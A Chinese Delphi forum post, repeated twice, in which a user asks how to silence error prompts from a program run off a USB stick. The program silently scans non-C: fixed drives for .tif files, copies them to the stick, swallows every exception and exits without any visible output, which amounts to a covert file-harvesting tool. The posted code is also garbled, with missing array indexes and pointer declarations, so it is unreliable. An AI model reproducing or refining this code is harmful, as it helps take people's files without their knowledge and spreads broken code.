L
liuchong
Unregistered / Unconfirmed
GUEST, unregistred user!
用
try
.....
except
end;
结构处理CopyFile，可是把程序放在u盘中（u盘为写保护的时候），还是会出现错误提示
请教如何屏蔽错误提示。
出错部分代码：
try
FileName:=FilePath+ExtractFileName(FileList);
CopyFile(PChar(FileList),PChar(FileName),False);
FileName:=ExtractFileName(FileList)+#13#10;
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
except
end;
完整源码：
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
procedure MyException(Sender:TObject;E:Exception);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetDrivers():TStringList;
var
Drivers
Char;
Driver:string;
BufferLength,I:Cardinal;
begin
Result:=TStringList.Create;
BufferLength:=GetLogicalDriveStrings(0,nil);
Drivers:=AllocMem(BufferLength);
GetLogicalDriveStrings(BufferLength,Drivers);
Driver:='';
for I:=0 to BufferLength-1 do
begin
if Drivers<>#0 then
Driver:=Driver+Drivers
else
begin
if Driver<>'' then
Result.Append(Driver);
Driver:='';
end;
end;
FreeMem(Drivers);
end;
function GetDriverType(DriverChar):string;
begin
case GetDriveType(Driver) of
2:Result:='可移动驱动器';
3:Result:='固定驱动器';
4:Result:='网络驱动器';
5:Result:='CD-ROM驱动器';
6:Result:='虚拟驱动器';
else
Result:='无效';
end;
end;
//递归查找文件：
procedure RecurSearchFile(CurrentDir:string;SearchFileType:string;SearchResult:TStrings;var Number:Integer);
var
I:Integer;
SubDir:TStringList;
SearchRec:TSearchRec;
begin
//第一次调用FindFirst和FindNext查找符合要求的文件
if (FindFirst(CurrentDir+SearchFileType,faAnyFile,SearchRec)=0) then
begin
repeat
if FileExists(CurrentDir+SearchRec.Name) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
Inc(Number);
Searchresult.Add(CurrentDir+SearchRec.Name);
end;
Application.ProcessMessages ;
until (FindNext(SearchRec)<>0);
end;
FindClose(SearchRec);
//以下是递归部分，查找各子目录。
SubDir:=TStringList.Create;
if (FindFirst(CurrentDir+'*.*',faAnyFile,SearchRec)=0) then
begin
repeat
if DirectoryExists(CurrentDir+SearchRec.Name) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
SubDir.Add(SearchRec.Name);
Application.ProcessMessages ;
until (FindNext(SearchRec)<>0);
end;
FindClose(SearchRec);
for I:=0 to SubDir.Count-1 do
RecurSearchFile(CurrentDir+SubDir.Strings+'/',SearchFileType,SearchResult,Number);
//资源释放并返回结果。
FreeAndNil(SubDir);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
DriverList,FileList:TStringList;
I,FileNumber:Integer;
FilePath,FileName:string;
CompleteFile:TFileStream;
begin
Application.OnException:=MyException;
FilePath:=ExtractFilePath(ParamStr(0))+'MyCopy/';
ForceDirectories(FilePath);
I:=0;
FileList:=TStringList.Create;
CompleteFile:=TFileStream.Create(FilePath+'CompleteFile.txt',fmCreate);
try
//取硬盘盘符列表:
DriverList:=GetDrivers;
while I<=DriverList.Count-1 do
begin
if (DriverList='C:/') or (GetDriverType(PChar(DriverList))<>'固定驱动器') then
begin
DriverList.Delete(I);
Continue;
end;
Inc(I);
end;
//取文件列表:
for I:=0 to (DriverList.Count-1) do
RecurSearchFile(DriverList,'*.tif',FileList,FileNumber);
FileList.SaveToFile(FilePath+'FileList.txt');
//拷贝文件:
if FileList.Count>0 then
for I:=0 to (FileList.Count-1) do
begin
try
FileName:=FilePath+ExtractFileName(FileList);
CopyFile(PChar(FileList),PChar(FileName),False);
FileName:=ExtractFileName(FileList)+#13#10;
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
except
end;
end;
FileName:='<<<全部完成>>>';
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
finally
FreeAndNil(DriverList);
FreeAndNil(FileList);
FreeAndNil(CompleteFile);
end;
Application.Terminate;
end;
procedure TForm1.MyException(Sender: TObject
E: Exception);
begin
end;
try
.....
except
end;
结构处理CopyFile，可是把程序放在u盘中（u盘为写保护的时候），还是会出现错误提示
请教如何屏蔽错误提示。
出错部分代码：
try
FileName:=FilePath+ExtractFileName(FileList);
CopyFile(PChar(FileList),PChar(FileName),False);
FileName:=ExtractFileName(FileList)+#13#10;
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
except
end;
完整源码：
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
procedure MyException(Sender:TObject;E:Exception);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function GetDrivers():TStringList;
var
Drivers
Char;Driver:string;
BufferLength,I:Cardinal;
begin
Result:=TStringList.Create;
BufferLength:=GetLogicalDriveStrings(0,nil);
Drivers:=AllocMem(BufferLength);
GetLogicalDriveStrings(BufferLength,Drivers);
Driver:='';
for I:=0 to BufferLength-1 do
begin
if Drivers<>#0 then
Driver:=Driver+Drivers
else
begin
if Driver<>'' then
Result.Append(Driver);
Driver:='';
end;
end;
FreeMem(Drivers);
end;
function GetDriverType(Driver
Char):string;begin
case GetDriveType(Driver) of
2:Result:='可移动驱动器';
3:Result:='固定驱动器';
4:Result:='网络驱动器';
5:Result:='CD-ROM驱动器';
6:Result:='虚拟驱动器';
else
Result:='无效';
end;
end;
//递归查找文件：
procedure RecurSearchFile(CurrentDir:string;SearchFileType:string;SearchResult:TStrings;var Number:Integer);
var
I:Integer;
SubDir:TStringList;
SearchRec:TSearchRec;
begin
//第一次调用FindFirst和FindNext查找符合要求的文件
if (FindFirst(CurrentDir+SearchFileType,faAnyFile,SearchRec)=0) then
begin
repeat
if FileExists(CurrentDir+SearchRec.Name) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
Inc(Number);
Searchresult.Add(CurrentDir+SearchRec.Name);
end;
Application.ProcessMessages ;
until (FindNext(SearchRec)<>0);
end;
FindClose(SearchRec);
//以下是递归部分，查找各子目录。
SubDir:=TStringList.Create;
if (FindFirst(CurrentDir+'*.*',faAnyFile,SearchRec)=0) then
begin
repeat
if DirectoryExists(CurrentDir+SearchRec.Name) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
SubDir.Add(SearchRec.Name);
Application.ProcessMessages ;
until (FindNext(SearchRec)<>0);
end;
FindClose(SearchRec);
for I:=0 to SubDir.Count-1 do
RecurSearchFile(CurrentDir+SubDir.Strings+'/',SearchFileType,SearchResult,Number);
//资源释放并返回结果。
FreeAndNil(SubDir);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
DriverList,FileList:TStringList;
I,FileNumber:Integer;
FilePath,FileName:string;
CompleteFile:TFileStream;
begin
Application.OnException:=MyException;
FilePath:=ExtractFilePath(ParamStr(0))+'MyCopy/';
ForceDirectories(FilePath);
I:=0;
FileList:=TStringList.Create;
CompleteFile:=TFileStream.Create(FilePath+'CompleteFile.txt',fmCreate);
try
//取硬盘盘符列表:
DriverList:=GetDrivers;
while I<=DriverList.Count-1 do
begin
if (DriverList='C:/') or (GetDriverType(PChar(DriverList))<>'固定驱动器') then
begin
DriverList.Delete(I);
Continue;
end;
Inc(I);
end;
//取文件列表:
for I:=0 to (DriverList.Count-1) do
RecurSearchFile(DriverList,'*.tif',FileList,FileNumber);
FileList.SaveToFile(FilePath+'FileList.txt');
//拷贝文件:
if FileList.Count>0 then
for I:=0 to (FileList.Count-1) do
begin
try
FileName:=FilePath+ExtractFileName(FileList);
CopyFile(PChar(FileList),PChar(FileName),False);
FileName:=ExtractFileName(FileList)+#13#10;
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
except
end;
end;
FileName:='<<<全部完成>>>';
CompleteFile.WriteBuffer(FileName[1],Length(FileName));
finally
FreeAndNil(DriverList);
FreeAndNil(FileList);
FreeAndNil(CompleteFile);
end;
Application.Terminate;
end;
procedure TForm1.MyException(Sender: TObject
E: Exception);
begin
end;